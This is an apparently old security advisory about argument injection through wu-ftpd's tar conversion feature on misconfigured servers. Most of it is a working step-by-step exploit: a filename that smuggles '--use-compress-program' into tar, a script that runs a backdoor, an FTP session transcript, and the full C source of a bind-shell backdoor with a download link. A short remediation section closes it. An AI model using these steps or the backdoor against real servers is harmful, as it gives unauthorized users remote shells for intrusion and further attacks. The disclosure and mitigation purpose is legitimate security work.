COMMAND
wuftpd
SYSTEMS AFFECTED
munices
PROBLEM
Following paper is by suid@suid.kg and talks about the dangers of
ftp conversions on misconfigured systems/ftpd (specifically
wu-ftpd). There exists a vulnerability with certain configurations
of certain ftp daemons with which users with a valid ftp only
acccount on a system may execute arbitrary commands (including
binaries supplied by themselves). There also exists the
possibilty that anonymous ftp users may execute arbitrary commands
(also including binaries supplied by themselves). While this
vulnerability is entirely configuration dependent. The required
configuration is rather common. The requirements can be found in
the example exploit section. Usually such misconfigurations are
made only by the security-handicapped, and the
documentation-illiterate. There is volumous amounts of
documentation around which warn against this kind of
configuration however it does not touch on this exact problem.
Nor does it stop them from making the same mistakes time after
time.
FTP Conversion is the name given to the process whereby a user
can convert/archive/compress data on the fly when retrieving
files from a FTP server. This is done when the FTP user requests
a filename and appends .tar/.tar.gz/.Z/.gz to the filename. The
FTP then opens a pipe through the requested binary (/bin/tar for
example) and sends the file through this pipe to the user.
If a user with intent crafts a filename beginning with a '-' sign
it is possible to pass arbitrary flags to the command invoked by
FTPD. If the user also includes spaces in this filename, they
may pass further arguments. Modern tar implementations include
some fairly interesting arguments. For the purposes of lftpdthis
advisory we will only detail one.
From the tar(1) man page:
--use-compress-program PROG
filter the archive through PROG (which must accept -d)
So it can be seen quite obviously that the flag:
--use-compress-program=id
will invoke the id command as a compression program for tar to
filter through, obviously failing in the process, but trying
nonetheless. Using this mechanism it is possible to invoke any
command in the path. It is also, as mentioned previously, possible
to pass those commands further arguments.
The impacts of this bug are that any command within the path may
be executed by users who may not have the ability to execute
commands otherwise. If those commands can be coaxed into running
other commands, a user may manage an interactive shell. Impacts
may be restricted by the default behaviour of wu-ftpd to chroot()
the anonymous ftp user. However it is still possible for users
to upload their own binaries and use your comprimised FTP server
for something like:
- launching attacks on your internal network which they may
not have had the ability to do previously due to ACL's etc
- launching denial of service attacks on other sites from your
FTP server
- taking part in distributed attacks, or distributed denial
service attacks, using your comprimised FTP server
It must be stated here that this vulnerability is quite cross
platform in that it is possible for FTP site administrators
running wu-ftpd on any operating system to have configured FTPD
in this manner. However it is generally more prevalant on Linux
installations. 'suid' verified this vulnerability against the
following configuration:
RedHat (5.2, 6.0, 6.1)
anonftp package version 2.8.1
wu-ftpd (2.4.2, 2.5.0, 2.6.0)
This vulnerability is simple to exploit. However to exploit it
you must be able to upload/download files. (e.g. a mode 0777
incoming directory). Pretty common right? We are only going to
document 1 method of exploiting this. There are many (an
excercise to the reader to take things further). For the purposes
of this exploit you also need a shell in the remote path. For
example, a RedHat machine with the anonftp package installed has
exactly what you need.
Firstly, assuming you are running the same platform as your
target, statically compile some sort of backdoor program. The
easiest thing we can think of to use is bindshell.c.
$ gcc bindshell.c -o b -static
Secondly, tar this up. You will need to tar it up because the
remote side will rarely have the ability to change permissions at
this stage. (SITE CHMOD rarely works on anonymous ftp sites)
$ tar -cf b.tar b
Create a script of things you want to do on the remote site, this
will be interpreted by bash or sh.
$ cat > blah
#
/bin/tar -xf b.tar
./b
^D
Leave the first line as a comment.
Create a empty file called "--use-compress-program=sh blah"
$ > "--use-compress-program=sh blah"
Connect to your target ftp server.
$ ftp localhost
Connected to localhost.
220 localhost.localdomain FTP server (Version wu-2.6.0(1) Tue Sep 21 10:10:10 EDT 2000) ready.
Name (localhost:suid): ftp
331 Guest login ok, send your complete e-mail address as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Change to your world writable directory:
ftp> cd /incoming
Store your files:
ftp> put blah
ftp> put b.tar
ftp> put "--use-compress-program=sh blah"
Now using TAR conversion, get your "--use-compress-program=sh
blah" file.
ftp> get "--use-compress-program=sh blah".tar
It should open a connection then freeze. Now telnet to your
bindshell port.
With a valid FTP account only the server, the difficulty goes
right down. You also have the added benefit of not being stuck
in a chroot() environment at the end (by default). Local exploit
time. The exploit goes along much the same lines as the anonymous
FTP exploit does. Create a backdoor, using bindshell from our
previous example:
$ gcc bindshell.c -o b -static
If you can perform a SITE CHMOD (default for normal non-anon users
on wu-ftpd), then you can use the following script example.
Create a script to exec the desired commands:
$ cat > blah
#!/bin/bash
./b &
^D
Now create empty file "--use-compress-program=bash blah"
$ > "--use-compress-program=bash blah"
FTP to your target, login with your username/password. Upload
your 3 files:
ftp> put b
ftp> put blah
ftp> put "--use-compress-program=bash blah"
Do a SITE CHMOD for b and blah:
ftp> quote SITE CHMOD 0755 b
ftp> quote SITE CHMOD 0755 blah
Now get your file:
ftp> get "--use-compress-program=bash blah".tar
Thats all there is to it. You now should have a shell on whatever
port you specified. Btw, bindshell is downloadable from:
http://www.suid.kg/source/bindshell.c
bindshell.c goes like this:
/*
* Unknown author.
*/
#define PORT 1234
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;
int main (int argc, char *argv[])
{
int i;
for(i=0;i<argc;i++) {
memset(argv[i],'\x0',strlen(argv[i]));
};
strcpy(argv[0],"th1s iz mY 3l1t3 baCkd00r");
soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc != 0)
exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);
while (1) {
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0) {
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
exit(0);
}
close(soc_cli);
}
}
SOLUTION
WU-FTPD have taken the stance that because this vulnerability is
more a configuration issue than anything else, they do not plan
on releasing a patch. This is correct. You would be wise to
evaluate the need for anonymous ftp on your server and remove the
ability if possible. If you require anonymous ftp access, ensure
there are no world writable directories, also ensure that the
smallest amount of commands you can get away with exist in the
~ftp/bin directory. Disable ftp conversions in /etc/ftpacess.
Consult your documentation and follow the advice contained within.
It is worth it. CERT and Auscert have released numerous papers,
and advisories on these types of misconfigurations in the past
read them!